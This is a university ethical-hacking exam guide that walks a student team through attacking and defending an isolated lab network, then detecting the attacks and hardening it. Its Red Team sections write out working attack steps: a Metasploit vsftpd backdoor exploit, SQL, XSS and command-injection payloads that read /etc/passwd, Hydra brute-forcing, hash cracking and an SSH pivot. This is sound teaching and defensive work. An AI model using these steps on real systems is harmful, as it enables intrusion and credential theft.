

CYS 4151 Ethical Hacking Lab

Post-Configuration Execution Guide — Tasks 2–13

SecureTech Solutions Ltd. — Enterprise Security Assessment

Scope. This guide picks up once the lab network described in *CYS 4151 Lab Network Configuration* is live: pfSense routing at 192.168.50.1, every client bridged with a verified static IP, and connectivity confirmed end to end. It walks **Tasks 2–13** of *CYS 4151 Final Examination, Setting A, Summer 2026* in execution order, with the command for each step, which team member runs it, the Red/Blue Team intent behind it, and the expected outcome.

Lab Team

PC1 Marshall

PC2 Fahdil

PC3 Rayan

PC4 Bruno

PC5 Amina

Contents

1	How to Use This Guide	2
1.1	Before You Start Any Task	2
2	Task 2 — Reconnaissance & Asset Discovery (4 marks)	3
3	Task 3 — Service Enumeration (4 marks)	4
4	Task 4 — Threat Modeling & Risk Identification (4 marks)	5
5	Task 5 — Vulnerability Assessment (6 marks)	6
6	Task 6 — Controlled Exploitation / Initial Access (6 marks)	7
7	Task 7 — Web Application Security Assessment (6 marks)	8
8	Task 8 — Credential Security Assessment (4 marks)	9
9	Task 9 — Privilege Escalation & Persistence Analysis (5 marks)	10
10	Task 10 — Post-Exploitation & Lateral Movement Analysis (5 marks)	11
11	Task 11 — Blue Team Investigation: Traffic & Logs (5 marks)	12
11.1	Live alert monitoring — fast.log (primary, always works)	12
11.2	Pull the full alert timeline first	12
11.3	Task 2/3 — Reconnaissance and enumeration, then block the source	13
11.4	Task 6 — Exploitation evidence	14
11.5	Task 7 — Web application attack evidence	14
11.6	Task 8 — Credential attack evidence	15
11.7	Tasks 9/10 — Privilege escalation and lateral movement	15
11.8	Packet-level corroboration (optional, any task)	15
12	Task 12 — Security Hardening & Incident Response (5 marks)	17
13	Task 13 — Professional Penetration Testing Report (11 marks)	18
14	Final Submission Checklist	19

1 How to Use This Guide

Each task below states, in order: **who** runs it (by nickname/team badge), the **strategy** driving that step (Red Team’s attack intent or Blue Team’s defensive intent), the **command(s)** with inline comments, and the **expected outcome** — what the output should show and what it justifies doing next. Commands shown for Kali/Linux hosts assume a bash shell as root or with sudo where needed. All IPs match *CYS 4151 Lab Network Configuration*: pfSense gateway 192.168.50.1; Suricata-on-Kali IDS 192.168.50.200 (hosted on PC1 with Marshall); Fahdil’s Windows 10 workstation 192.168.50.10; Rayan’s server host 192.168.50.20 with nested DVWA/Juice Shop 192.168.50.30 and Metasploitable 192.168.50.40; Bruno’s Kali attacker 192.168.50.100; Amina’s OpenVAS-on-Kali scanner 192.168.50.250.

Red Team Roster

PC4 Bruno — primary attacker platform, drives most offensive commands. **PC3 Rayan** — hosts the shared vulnerable targets and joins Bruno for exploitation, privilege escalation, and lateral-movement analysis once the network is confirmed live.

Blue Team Roster

PC1 Marshall — pfSense firewall/ACL owner and the Suricata IDS operator (PC1 hosts both VMs). **PC2 Fahdil** — hardens and audits the workstation asset. **PC5 Amina** — runs OpenVAS vulnerability scanning and CVSS triage.

1.1 Before You Start Any Task

1. Set hostname and desktop clock visibly (top corner) on every VM you record — required overlay for all 13 tasks.
2. Confirm hostname and date/time on each VM before recording.

Confirm identity overlay prerequisites

```
hostnamectl  
date
```

1. Create an evidence folder structure on your host machine and save into the matching folder immediately, not at the end of the day.

Evidence folder structure

```
mkdir -p ~/CYS4151/Screenshots/Task-{02..13}  
mkdir -p ~/CYS4151/Videos/Task-{02..13}
```

Recording checklist

Confirm every recording tool (OBS, VirtualBox’s own capture, or a phone tripod on the physical screen) shows your Student ID and name overlay before you press record — check this once, not per task.

2 Task 2 — Reconnaissance & Asset Discovery (4 marks)

Runs on: **PC4 Bruno** (Kali, PC4). **Goal:** discover every live host on 192.168.50.0/24 and build the asset inventory table.

Red Team Strategy

Bruno's opening move is a wide, low-noise sweep first (host discovery only, no port scan) to map who exists before touching anything — this limits the footprint Blue Team's IDS sees in the first pass. Only after the asset map is built does he escalate to per-host fingerprinting (-A), expecting pfSense/Suricata logging to pick this up from here on.

Host discovery sweep

```
# find every live IP on the subnet without touching any ports yet
nmap -sn 192.168.50.0/24
```

OS/service fingerprint pass per discovered host

```
nmap -A 192.168.50.1 -oN scan_pfsense.txt # gateway/firewall
nmap -A 192.168.50.10 -oN scan_workstation.txt # Fahdil's Windows 10 workstation
nmap -A 192.168.50.20 -oN scan_server.txt # Rayan's server host
nmap -A 192.168.50.30 -oN scan_dvwa.txt # nested DVWA/Juice Shop
nmap -A 192.168.50.40 -oN scan_metasploitable.txt
nmap -A 192.168.50.200 -oN scan_suricata.txt # Marshall's IDS sensor (PC1)
nmap -A 192.168.50.250 -oN scan_openvas.txt # Amina's OpenVAS scanner (PC5)
```

Expected Outcome

The -sn sweep reports 7 hosts up. Each -A scan returns open ports, service versions, and a guessed OS — record IP, MAC vendor, guessed OS, and open ports per host into the asset inventory table (feeds Task 13's Asset Inventory deliverable). This output tells Bruno which hosts are worth enumerating further in Task 3, and tells Marshall/Amina (Blue Team) what a baseline recon sweep looks like in their logs for comparison in Task 11.

Video/Screenshot

VIDEO — start recording before the nmap -sn sweep, narrate expected vs. actual host count, stop after the last -A scan. **SCREENSHOT** — the -sn output, and one -A output per host, overlay visible.

3 Task 3 — Service Enumeration (4 marks)

Runs on: **PC4 Bruno** (Kali, PC4). **Goal:** identify service versions, protocols, and web technologies on each target to justify which entry points to attack.

Red Team Strategy

With the asset map from Task 2 in hand, Bruno narrows focus to the hosts that matter for exploitation — Rayan’s server/target stack — and goes deep: every port, every version, every script-assisted enumeration. The DVWA/web stack gets its own fingerprinting pass since Task 7 depends on knowing exactly what is running there.

Full deep port/version scan against server and web targets

```
nmap -sV -sC -p- 192.168.50.20 192.168.50.30 192.168.50.40 -oN full_scan.txt
```

Fingerprint the web app stack

```
whatweb 192.168.50.30  
curl -I http://192.168.50.30
```

Targeted NSE scripts against Metasploitable services

```
nmap --script=smb-enum-shares -p445 192.168.50.40  
nmap --script=ftp-anon -p21 192.168.50.40
```

Expected Outcome

-sV -sC -p- returns the full version/service table for all three hosts (expect FTP, SSH, Telnet, SMTP, HTTP, SMB and MySQL-class services on the Metasploitable target). whatweb/curl return the web server banner and DVWA’s login page headers. The SMB/FTP NSE scripts report whether shares are browsable and whether anonymous FTP is enabled — both are Task 5/6 candidate findings if so.

Video/Screenshot

VIDEO — record the full -sV -sC -p- scan (narrate what each open port could mean while it runs) plus the whatweb/curl step. **SCREENSHOT** — version/service table per target, and the header output for the web app.

4 Task 4 — Threat Modeling & Risk Identification (4 marks)

Runs on: whole team (documentation task, no new commands). **Goal:** turn Task 2/3 findings into a structured threat model.

1. List critical assets (customer data on the server, the web app, employee credentials) and map each to the vulnerabilities/open services found so far.
2. Identify plausible attacker profiles (external opportunist, disgruntled employee, credential-stuffing bot) and their likely attack vector per asset.
3. Draft a simple STRIDE or asset-threat-impact table for the Task 13 report.

Video/Screenshot

VIDEO — optional but recommended: a short narrated walkthrough of the threat/risk table, overlay visible, to cover the one-video-per-task rule. **SCREENSHOT** — the completed threat model/risk table.

5 Task 5 — Vulnerability Assessment (6 marks)

Runs on: **PC5 Amina** (OpenVAS-on-Kali, PC5, 192.168.50.250). **Goal:** run automated scanning and confirm at least 5 vulnerabilities with severity ratings, cross-checked manually.

Blue Team Strategy

Amina scans proactively, independent of whatever Bruno/Rayan are doing, so Blue Team has its own evidence of what is wrong *before* Red Team confirms it by exploiting it. A Full and Fast scan against the whole target set gives breadth; the manual cross-checks (searchsploit, vulners) add depth and double-source each finding, which strengthens the CVSS justification in the final report.

Start the GVM/OpenVAS stack and reach the web UI

```
sudo gvm-start  
# then open https://192.168.50.250:9392 in the browser
```

1. In the OpenVAS UI, create a target list (192.168.50.20, 192.168.50.30, 192.168.50.40), then launch a **Full and Fast** scan against it (GUI step, no CLI equivalent).
2. Once complete, export the results sorted by CVSS severity (**Scan Results** → **Export** → CSV/PDF).

Cross-check at least 2 findings manually

```
searchsploit apache 2.4  
  
# nmap's built-in "vuln" script category - ships with nmap, no extra  
# install required (unlike third-party scripts such as vulners.nse)  
nmap -sV --script vuln 192.168.50.30
```

Expected Outcome

The scan dashboard lists findings sorted High → Low with CVSS scores. Select and document at least 5 with supporting evidence (scan detail page screenshot). searchsploit/nmap --script vuln output either corroborates a scanner finding (strengthens it) or surfaces something the automated scan missed — either way, feed the confirmed list into Task 6's exploit selection.

Difficulty encountered building PC5

See *CYS 4151 Lab Network Configuration*, Section 9, for the disk-space exhaustion we hit building this scanner (not a VRAM issue) and how we resolved it — not repeated here to avoid duplication.

Video/Screenshot

VIDEO — record scan setup/target configuration, then the results dashboard sorted by severity.
SCREENSHOT — scan configuration, results dashboard, and the CVSS detail page for each of the 5+ selected vulnerabilities.

6 Task 6 — Controlled Exploitation / Initial Access (6 marks)

Runs on: **PC4 Bruno** (Kali, PC4), targeting Rayan’s nested Metasploitable host. **Goal:** exploit one confirmed vulnerability from Task 5 to gain access.

Red Team Strategy

This is the centerpiece demo. Bruno picks the clearest, most defensible finding from Task 5 (a known Metasploitable2 backdoor is the cleanest teaching example) rather than the flashiest one, because the report needs a clean, explainable attack path: vulnerability → exploit → access → why it worked.

Launch Metasploit and search for a matching module

```
msfconsole
search type:exploit vsftpd
```

Configure and run the exploit

```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.50.40
set PAYLOAD cmd/unix/interact
run
```

Verify access immediately

```
whoami
id
hostname
```

Expected Outcome

The exploit returns an interactive shell; `whoami/id` confirm the effective user on `192.168.50.40`. Document the full attack path for Task 13 and keep this session open — Task 9 escalates privileges from exactly this foothold.

Video/Screenshot

VIDEO — start recording before opening `msfconsole`; capture module selection, exploit execution, and the moment access is confirmed — do not cut this clip, it is the strongest evidence in the report.
SCREENSHOT — `msfconsole` exploit configuration (show options), the successful shell prompt, and the `whoami/id` output.

7 Task 7 — Web Application Security Assessment (6 marks)

Runs on: **PC4 Bruno** (Kali, PC4) against Rayan's DVWA host (192.168.50.30). **Goal:** demonstrate at least 2 OWASP Top 10 vulnerabilities.

Red Team Strategy

Independent of the Metasploitable foothold, Bruno treats the web app as its own attack surface — this is deliberate: a real attacker rarely stops after one entry point, and the exam explicitly scores this as a separate task from Task 6.

1. Log in to DVWA and set the security level to **low** under DVWA Security (clean teaching demo).

SQL Injection payload

```
' OR '1'='1
```

Reflected/stored XSS payload

```
<script>alert('XSS')</script>
```

Alternative second class: Command Injection

```
127.0.0.1; whoami  
127.0.0.1 && cat /etc/passwd
```

Expected Outcome

The SQLi payload returns extra rows/data beyond the intended single record (data extraction). The XSS payload pops an alert box when the page renders the unescaped input. The command-injection payloads append their output (username, or /etc/passwd contents) to the page's normal output. Screenshot each payload and its result *separately* — one screenshot per vulnerability, not one for both.

Video/Screenshot

VIDEO — one continuous clip (or two clearly separated) showing each vulnerability: payload entry → submission → visible proof of exploitation. **SCREENSHOT** — before/after for each vulnerability.

8 Task 8 — Credential Security Assessment (4 marks)

Runs on: **PC4 Bruno** (attack, Kali PC4) against Fahdil’s and Rayan’s hosts; **PC2 Fahdil** (policy review, PC2).

Goal: audit password policy weaknesses and demonstrate a password attack.

Red Team Strategy

Bruno treats weak/default/reused credentials as the lowest-effort path to access, consistent with the scenario’s own incident list (“employees using weak or reused passwords”). Brute-forcing DVWA’s login and SSH on Metasploitable both target accounts with no lockout policy — exactly the gap Blue Team is asked to close.

1. DVWA’s brute-force page requires an authenticated session — log in to DVWA in a browser first (any valid account, security level **low**), open DevTools → Application/Storage → Cookies, and copy the PHPSESSID value. Without this cookie, every Hydra attempt just hits the login redirect and “fails” regardless of the password tried.

Brute-force the DVWA login form

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.50.30 \
  http-post-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^\"
  &Login=Login:Login failed:H=Cookie: security=low; PHPSESSID=<paste_session_id_here>"
```

Brute-force SSH on the Metasploitable target

```
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://192.168.50.40
```

Crack a captured password hash

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
```

Expected Outcome

hydra reports a recovered valid credential pair once it matches a weak entry in the wordlist (fast against rockyou.txt because these are intentionally weak lab accounts). john/hashcat report the cracked plaintext for any captured hash. Each successful crack is direct evidence for the policy weaknesses Fahdil documents next.

Blue Team Strategy

PC2 Fahdil reviews the workstation’s local account policy (or the DVWA/service login policy) and records concrete weaknesses observed from the attack above: no lockout threshold, no complexity rule, default credentials still active. Recommendations: enforce lockout after N failed attempts, minimum complexity, and MFA where the platform supports it — feeds directly into Task 12’s hardening plan.

Video/Screenshot

VIDEO — record the hydra/john run from launch to a successful cracked credential, with the policy weakness explained in narration. **SCREENSHOT** — the password policy weakness (config/settings page) and the successful brute-force/crack output.

9 Task 9 — Privilege Escalation & Persistence Analysis (5 marks)

Runs on: **PC4 Bruno** & **PC3 Rayan** (from the Task 6 session on 192.168.50.40). **Goal:** escalate from low-privilege access to admin/root, and discuss (without deploying) persistence mechanisms.

Red Team Strategy

From the foothold gained in Task 6, Red Team enumerates escalation paths rather than guessing — SUID binaries, sudo misconfiguration, and kernel version are the three fastest wins on an intentionally old target like Metasploitable2.

Enumerate escalation paths

```
sudo -l  
find / -perm -4000 -type f 2>/dev/null  
uname -a
```

Search for a matching local privilege-escalation exploit

```
searchsploit linux kernel 2.6
```

Execute and confirm elevated access

```
id  
whoami
```

Expected Outcome

find ... -perm -4000 lists SUID binaries; one of them (or a kernel exploit matched by searchsploit) yields root. id/whoami after escalation show uid=0(root). Discuss — in the report/narration only, do not deploy — how an attacker could persist afterwards: a cron job, a scheduled task, an added user account, or a planted SSH key.

Video/Screenshot

VIDEO — record enumeration through confirmed root/admin access; narrate the persistence discussion since it is not executed live. **SCREENSHOT** — enumeration output showing the escalation vector, and the confirmed elevated-privilege prompt.

10 Task 10 — Post-Exploitation & Lateral Movement Analysis (5 marks)

Runs on: **PC4 Bruno** & **PC3 Rayan** (from the escalated session on 192.168.50.40). **Goal:** show what an attacker could reach next from the compromised host.

Red Team Strategy

Red Team treats the compromised Metasploitable host as a pivot point, not an endpoint — the question is what it can reach that Bruno's own Kali box cannot directly, which is the realistic shape of lateral movement in a segmented network.

Enumerate the internal network view from the compromised host

```
arp -a
netstat -antp
cat /etc/hosts
ip route
```

Open a SOCKS pivot through the compromised host

```
# dynamic port forward: opens a local SOCKS proxy on 1080 that routes
# through the Metasploitable host's own network view
ssh -D 1080 msfadmin@192.168.50.40

# point proxychains at that listener: confirm /etc/proxychains4.conf's last
# line reads "socks5 127.0.0.1 1080", then route a scan through the pivot
proxychains nmap -sT 192.168.50.0/24
```

Alternative: forward one specific service through the pivot

```
ssh -L 8080:192.168.50.250:80 msfadmin@192.168.50.40
# then browse http://127.0.0.1:8080 on Bruno's own machine
```

Expected Outcome

arp -a/netstat reveal hosts and connections visible only from inside the compromised machine's vantage point. If pfSense's ACL (see *Lab Network Configuration*, rule 5) is working as designed, the proxychains sweep should *not* reach hosts outside the declared Target_Hosts alias — document this as evidence the segmentation rule holds even after a target is compromised.

Video/Screenshot

VIDEO — record the enumeration commands and, if performed, the pivot/tunnel setup and resulting access. **SCREENSHOT** — internal enumeration output and, if performed, evidence of reaching (or being blocked from) the second host.

11 Task 11 — Blue Team Investigation: Traffic & Logs (5 marks)

Runs on: **PC1 Marshall** (Suricata-on-Kali, PC1, 192.168.50.200) with supporting log pulls by **PC5 Amina** and **PC2 Fahdil**. **Goal:** reconstruct Red Team's *entire* campaign from its first packet in Task 2 through Task 10, using traffic captures and logs only — not prior knowledge of what Bruno/Rayan did.

Blue Team Strategy

Marshall's Suricata sensor has been running in promiscuous IDS mode on the LAN backbone since before Task 2 even started (see *Lab Network Configuration*, Section 5), so its logs already hold a timestamped record of the whole engagement. Rather than capturing one snapshot, Blue Team's job here is to walk that timeline *chronologically*, show which log entry corresponds to which Red Team task, and then **act** on it — detection without a block is only half the job.

11.1 Live alert monitoring — fast.log (primary, always works)

Suricata writes every alert to two places: the simple text log `fast.log` (one line per alert, no JSON parsing needed, never fails) and the richer JSON log `eve.json` used for the structured queries later in this section. Start here — it has zero dependencies and is the fastest way to confirm the sensor is alive and alerting at all.

Watch alerts live, then filter what you already captured

```
# live tail while Red Team's commands run in another task
sudo tail -f /var/log/suricata/fast.log

# afterward: every alert sourced from (or aimed at) Bruno's Kali box
# (note: IP is followed by :port in this log, not a bare space, so match
# on the IP substring itself rather than assuming "IP -> " is adjacent)
grep "192.168.50.100:" /var/log/suricata/fast.log

# afterward: only port-scan-category alerts, any source
grep -i "scan" /var/log/suricata/fast.log

# count alerts per source IP, busiest first (quick triage across a whole capture)
grep -oP '\{(TCP|UDP|ICMP)\}\s+\K[0-9.]+(?:=|:)' /var/log/suricata/fast.log | \
  sort | uniq -c | sort -rn
```

Expected Outcome

Each line is self-contained and human-readable, e.g. `[**] [1:2024364:5] ET SCAN Possible Nmap User-Agent Observed [**] ... {TCP} 192.168.50.100:36252 -> 192.168.50.1:80` — source IP, destination IP/port, and the signature name are all visible without any JSON tooling. The ranked count command immediately tells Marshall which host is generating the most alerts right now, which is the IP to act on first in the block step below.

Why two log formats

`fast.log` is intentionally simple and will never fail to parse — use it for live triage and for anything this guide's `jq/eve.json` commands don't cover. `eve.json` carries structured fields (`dest_port`, full alert metadata) that enable the precise per-task queries below, but because Suricata is actively appending to it, a slurp-mode JSON parse can occasionally land on a line being written mid-flush — the commands below are written to tolerate that.

11.2 Pull the full alert timeline first

Before filtering for anything specific, get the whole picture in time order so later, narrower queries can be justified by what this first pass shows.

Full Suricata alert timeline, oldest first (resilient to a bad line)

```
# stage 1: parse each line independently; fromjson? silently drops any
# line that isn't valid JSON yet (e.g. one being written mid-flush),
# instead of aborting the whole pipeline the way "jq -s" alone would
# stage 2: now that every object is known-good, sort and shape the output
jq -R 'fromjson? // empty' /var/log/suricata/eve.json | \
  jq -s 'map(select(.event_type=="alert")) | sort_by(.timestamp) | .[] |
    {timestamp, src_ip, dest_ip, dest_port, signature: .alert.signature}'
```

Expected Outcome

This returns one JSON object per alert in chronological order. Expect the very first entries to be port-scan/recon-category hits with `src_ip`=Bruno's 192.168.50.100 — that is Task 2's `nmap -sn` sweep. Keep this output; Sections 11.3–11.6 below re-query the same file narrowed to one task at a time so each finding can be cited by task number in the report.

Difficulty: `jq -s` alone crashed with “Invalid numeric literal”

Running `jq -s 'sort_by(.timestamp) | ...'` directly against `eve.json` while Suricata was still actively writing to it failed with `jq: parse error: Invalid numeric literal at line 48, column 501` — one line was a partial JSON object (caught mid-write), and slurp mode (`-s`) requires *every* line to parse before it will process *any* of them. **Fix:** the two-stage `fromjson? // empty` pipeline above parses each line independently and silently discards the one bad line instead of aborting the entire query — use this pattern for any live-tailed JSON log, not just this one.

11.3 Task 2/3 — Reconnaissance and enumeration, then block the source**Isolate scan-detection alerts from Bruno's host**

```
jq -R 'fromjson? // empty' /var/log/suricata/eve.json | \
  jq 'select(.event_type=="alert" and .src_ip=="192.168.50.100" and
    (.alert.signature | test("[Ss]can")))'
```

Expected Outcome

Expect a burst of scan-category alerts starting at the timestamp of Bruno's `nmap -sn` sweep, with a second, larger burst later matching the `-p-` full-port scan in Task 3 (same signature family, far higher alert count in a shorter window because every port is probed, not just a host-discovery ping). The destination IPs across both bursts cover the whole 192.168.50.0/24 range for the first sweep, narrowing to .20/.30/.40 for the Task 3 pass — that narrowing is itself evidence Red Team moved from discovery to targeting.

Detect → Block, on pfSense

Once a source IP is confirmed malicious from the alert output above, Marshall blocks it at the firewall immediately — this is the action half of Task 11/12, not just observation.

Block the offending source at pfSense (GUI, then CLI equivalent)

```
# GUI: Firewall > Aliases > add/edit "Blocked_Attackers" (type: Host(s)),
# add the offending IP as a member, Save + Apply. Then Firewall > Rules >
# LAN > Add a rule: Source = Blocked_Attackers, Action = Block, placed
# ABOVE rule 4 so it is evaluated first (Lab Network Configuration, 10.2).
```

```
# CLI equivalent (SSH into pfSense, option 8: Shell), adds the IP to the
# SAME pf table backing that alias without touching the GUI at all:
pfctl -t Blocked_Attackers -T add 192.168.50.100
```

```
# confirm it is now in the table
pfctl -t Blocked_Attackers -T show

# to lift the block later (e.g. after the exam recording is done):
pfctl -t Blocked_Attackers -T delete 192.168.50.100
```

Expected Outcome

pfctl -t Blocked_Attackers -T show lists 192.168.50.100. A repeat of the Task 2 nmap sweep from Bruno's box now shows every probe timing out instead of returning results, and pfSense's **Status** → **System Logs** → **Firewall** shows the matching block entries against the new rule.

Fallback: immediate host-level block if pfSense access is unavailable

```
# on any individual Linux target/sensor, as an interim measure
sudo ufw deny from 192.168.50.100
sudo ufw status numbered
```

11.4 Task 6 — Exploitation evidence

Suricata: alerts against the Metasploitable host

```
jq -R 'fromjson? // empty' /var/log/suricata/eve.json | \
jq 'select(.event_type=="alert" and .dest_ip=="192.168.50.40")'
```

Target-side evidence of the vsftpd backdoor connection

```
# on the Metasploitable target itself (or its syslog if forwarded)
grep -i ftp /var/log/syslog | tail -n 20
who -a
```

Expected Outcome

If the full ET-open ruleset was pulled via suricata-update (*Lab Network Configuration*, Section 5.5), an exploit/trojan-category alert for the known vsftpd 2.3.4 backdoor pattern typically appears around the timestamp Bruno ran exploit/unix/ftp/vsftpd_234_backdoor. Whether or not that specific signature is present, /var/log/syslog on the target shows the FTP service accepting the crafted username, and who -a/process listings show the unexpected shell session — this is the same access Bruno confirmed with whoami/id in Task 6, now shown from the defender's side.

11.5 Task 7 — Web application attack evidence

Because DVWA runs as a Docker container (*Lab Network Configuration*, PC3 setup section), its request log is read via docker logs, not a host file path.

Grep the DVWA container log for payload patterns

```
sudo docker logs dvwa 2>&1 | grep -iE "union|select|<script>|or 1=1|or '1'='1'"
```

Expected Outcome

The log lines show the literal SQLi(' OR '1'='1') and/or XSS(<script>alert('XSS')</script>) payloads exactly as Bruno submitted them in Task 7, each on a request line with a timestamp and the requesting IP (192.168.50.100). This is direct, literal evidence — no signature matching required, the payload is the log entry.

11.6 Task 8 — Credential attack evidence

Count DVWA brute-force attempts by request volume

```
sudo docker logs dvwa 2>&1 | grep -c "vulnerabilities/brute"
```

Count and rank failed SSH logins on the Metasploitable target

```
grep "Failed password" /var/log/auth.log | tail -n 20
grep "Failed password" /var/log/auth.log | \
  awk '{print $(NF-3)}' | sort | uniq -c | sort -rn
```

Expected Outcome

The DVWA request count (often hundreds within seconds) is itself the indicator — no legitimate user submits a login form that fast. The `auth.log` `grep` returns one “Failed password” line per Hydra attempt against SSH, and the ranked count confirms 192.168.50.100 as the single source responsible for nearly all of them, immediately followed by one successful “Accepted password” line once Hydra finds the weak credential.

11.7 Tasks 9/10 — Privilege escalation and lateral movement

Confirm the escalation and check for any lateral-movement attempt

```
# on the target: shell/command history left behind by Bruno's escalation steps
cat ~/.bash_history 2>/dev/null | tail -n 30

# on pfSense: Status > System Logs > Firewall, filtered to source 192.168.50.40,
# confirms whether the Task 10 proxychains sweep was permitted or blocked by
# rule 5 of the ACL (Lab Network Configuration, Section 10.2)
```

Expected Outcome

`.bash_history` (if not cleared) shows the `sudo -l/find ... -perm -4000/searchsploit` commands from Task 9 in order. The pfSense firewall log is the key piece of evidence for Task 10: it should show the lateral proxychains sweep either passing only within `Target_Hosts` (rule 4) or being blocked and logged everywhere else (rule 5) — confirming the segmentation held even from an already-compromised host.

11.8 Packet-level corroboration (optional, any task)

For any of the above, a raw packet capture adds a second, independent evidence source alongside the log/alert evidence.

Live capture and signature-based filtering

```
# start capture on the bridged sensor interface
# (confirm the name first with: ip -brief addr show)
sudo tshark -i eth0 -w capture.pcap

# afterward, filter for the same window/signature being documented
tshark -r capture.pcap -Y "http.request or tcp.flags.syn==1"
# Wireshark GUI filter bar equivalent:
# ip.addr==192.168.50.30 and tcp.flags.syn==1
```

Expected Outcome

The filtered capture isolates the SYN bursts (Task 2/3) and HTTP requests (Task 7) down to individual packets, timestamped to line up with the eve.json alerts and target-side log entries already gathered — three independent sources agreeing on the same timeline is what the report's Evidence section should present per finding.

Video/Screenshot

VIDEO — record walking the full alert timeline (11.1), then narrate each narrower query (11.2–11.6) as evidence for its matching task. **SCREENSHOT** — the full timeline output, and one filtered query result per task (2/3, 6, 7, 8, 9/10).

12 Task 12 — Security Hardening & Incident Response (5 marks)

Runs on: **PC1 Marshall** (pfSense rule, PC1); **PC2 Fahdil** (workstation hardening, PC2); **PC5 Amina** (findings list, PC5). **Goal:** produce the remediation plan built from everything found in Tasks 5–11.

Blue Team Strategy

Blue Team closes the loop: every confirmed finding from Task 5 (OpenVAS) and every successful attack path from Tasks 6–10 gets a specific, named fix here, not a generic “patch everything” statement — this is what turns the assessment into an actionable report rather than just a list of scary findings.

1. For each vulnerability/finding, write a specific hardening step (patch version, disable unused service, enforce password policy).

Demonstrate patch management as evidence of remediation

```
sudo apt update && sudo apt upgrade -y
```

1. Add a pfSense firewall rule addressing a Task 5/6 finding (e.g. restrict access to the vulnerable service to only the hosts that legitimately need it) — GUI step under **Firewall** → **Rules** → **LAN** → **Add**, following the same ordered-rule method used in *Lab Network Configuration*, Section 10. Screenshot the rule as configured.

Optional host-level firewall hardening on a Linux target

```
sudo ufw allow from 192.168.50.0/24 to any port 22
sudo ufw enable
```

Expected Outcome

apt upgrade shows the target packages moving to patched versions (re-run the Task 3 service scan afterward to confirm the version string changed). The new pfSense rule appears in **Diagnostics** → **States** the next time that service is reached, with the narrower source/destination match now visible. ufw status confirms the host-level rule is active.

1. Write a brief incident response workflow: detection → containment → eradication → recovery → lessons learned, tied back to the Task 11 detection evidence (which Suricata alert / log entry triggered each stage).

Video/Screenshot

VIDEO — optional: a short narrated walkthrough of the pfSense rule being added, plus the remediation plan on screen. **SCREENSHOT** — the pfSense rule configuration screen, and the completed hardening/IR plan document.

13 Task 13 — Professional Penetration Testing Report (11 marks)

Runs on: whole team (compilation and writing, no new hands-on-keyboard work). **Goal:** assemble everything above into the final deliverable.

1. Structure the report: Executive Summary, Scope, Methodology (reference PTES/NIST SP 800-115/OWASP Testing Guide as stated in the exam), Findings, Risk Ratings, Evidence, Business Impact, Recommendations, Conclusion.
2. Pull in the Network Architecture Diagram (*Lab Network Configuration*, Figure 1), Asset Inventory (Task 2), Vulnerability Assessment Report (Task 5), Risk Register (Task 4/12), and Security Hardening Plan (Task 12) as clearly labeled sections or appendices.
3. Insert the best screenshot per task into the relevant findings section, captioned with the task number.
4. Proofread for the overlay requirement across all video evidence before final submission — spot-check timestamps in at least 3 videos.

Note

No new video is required for this task itself, since it is the compiled write-up of Tasks 1–12.

Expected Outcome

SCREENSHOT — final report title page and table of contents, confirming all required sections/appendices are present, for your own submission checklist.

14 Final Submission Checklist

- Professional Penetration Testing Report (PDF)
- Network Architecture Diagram
- Asset Inventory
- Vulnerability Assessment Report
- Risk Register
- Security Hardening Plan
- Screenshots supporting every task (organized by Task-02 ...Task-13 folders)
- One video per task (organized the same way), each showing name, Student ID, hostname, username, and live date/time throughout
- Source files where applicable (scan exports, Wireshark .pcap, scripts used)

Overlay Reminder

Full legal name, Student ID, hostname, active username, and live system date/time must be visible on screen for the whole clip. Keep narration continuous — no cuts.